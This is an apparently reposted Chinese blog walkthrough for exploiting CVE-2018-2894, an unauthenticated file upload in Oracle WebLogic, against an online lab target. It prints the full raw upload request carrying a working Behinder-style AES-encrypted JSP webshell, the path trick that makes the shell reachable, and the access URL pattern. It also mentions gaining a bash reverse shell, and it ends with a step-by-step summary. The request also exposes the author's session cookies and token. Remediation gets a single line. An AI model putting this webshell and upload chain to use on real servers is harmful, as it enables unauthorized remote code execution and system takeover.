weblogic 文件上传 (CVE-2018-2894)

所有文章,仅供安全研究与学习之用,后果自负!

weblogic 文件上传 (CVE-2018-2894)

Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。

0x01 漏洞描述

WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do

0x02 影响范围

weblogic 10.3.6.0
weblogic 12.1.3.0
weblogic 12.2.1.2
weblogic 12.2.1.3

0x03 漏洞复现

(1)访问靶场

http://vulfocus.fofa.so:21761/console/login/LoginForm.jsp

在这里插入图片描述
(2)访问漏洞利用点

/ws_utc/config.do 

http://vulfocus.fofa.so:17878/ws_utc/config.do

修改下方工作目录为

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的
在这里插入图片描述

(3)点击 左边 --》 安全 --》添加

在这里插入图片描述

开启抓包 上传冰蝎jsp马, 点击提交
在这里插入图片描述

请求包 和响应包 如下所示

POST /ws_utc/resources/setting/keystore?timestamp=1636992980530 HTTP/1.1
Host: vulfocus.fofa.so:45342
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------331160701224345905112411675521
Content-Length: 1473
Origin: http://vulfocus.fofa.so:45342
Connection: close
Referer: http://vulfocus.fofa.so:45342/ws_utc/config.do
Cookie: Hm_lvt_deaeca6802357287fb453f342ce28dda=1636686278,1636781638,1636884246,1636957776; Hm_lvt_b5514a35664fd4ac6a893a1e56956c97=1636596258,1636704940,1636709021,1636825689; _ga=GA1.2.744261971.1636781886; Hm_lpvt_deaeca6802357287fb453f342ce28dda=1636981680; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0ODQ1LCJ1c2VybmFtZSI6IllvdXRoQmVsaWVmIiwiZXhwIjoxNjM3MDQ0MTU2LCJlbWFpbCI6IjI0NTU1NjQ2NEBxcS5jb20ifQ.3eOMhwj5YdlpqC34q5sVLgOHnO6ZAe-h-DTEBX1UTnk; PHPSESSID=d8vkcs2udvuak3mmpof192plq9; JSESSIONID=ksEkYFAsB1XBjnGTBt_JPfn09pdfs3qMoIgFa4NDAt2Myqmu05R6!795129773
Upgrade-Insecure-Requests: 1

-----------------------------331160701224345905112411675521
Content-Disposition: form-data; name="ks_name"

test
-----------------------------331160701224345905112411675521
Content-Disposition: form-data; name="ks_edit_mode"

false
-----------------------------331160701224345905112411675521
Content-Disposition: form-data; name="ks_password_front"

test
-----------------------------331160701224345905112411675521
Content-Disposition: form-data; name="ks_password"

test
-----------------------------331160701224345905112411675521
Content-Disposition: form-data; name="ks_password_changed"

true
-----------------------------331160701224345905112411675521
Content-Disposition: form-data; name="ks_filename"; filename="shellre.jsp"
Content-Type: application/octet-stream

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
-----------------------------331160701224345905112411675521--

在这里插入图片描述

(4)访问webshell

http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
http://vulfocus.fofa.so:45342/ws_utc/css/config/keystore/1636992939120_shellre.jsp

上传成功
在这里插入图片描述
(5)冰蝎连接

由于截图记录 加在线靶场 总是不稳定 中途自动关闭 所以端口有改变

冰蝎连接成功
(连接第四次才成功,有超时情况,也有页面存在但密钥无法获取的情况,应该是网络原因,所以 遇到这些情况 如果浏览器访问到页面存在,冰蝎报错 就尝试多连几次。)
在这里插入图片描述
冰蝎的反弹shell功能 bash反弹shell成功
在这里插入图片描述

0x04 漏洞修复

升级到最新版本

总结

  1. 访问 存在漏洞地址ip:7001/ws_utc/config.do

  2. 修改工作目录
    /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

  3. 抓包上传jsp马

  4. 获取响应包的时间戳和文件名

  5. 访问页面

      http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
    
  6. 冰蝎连接

猜你喜欢

转载自blog.csdn.net/YouthBelief/article/details/121346357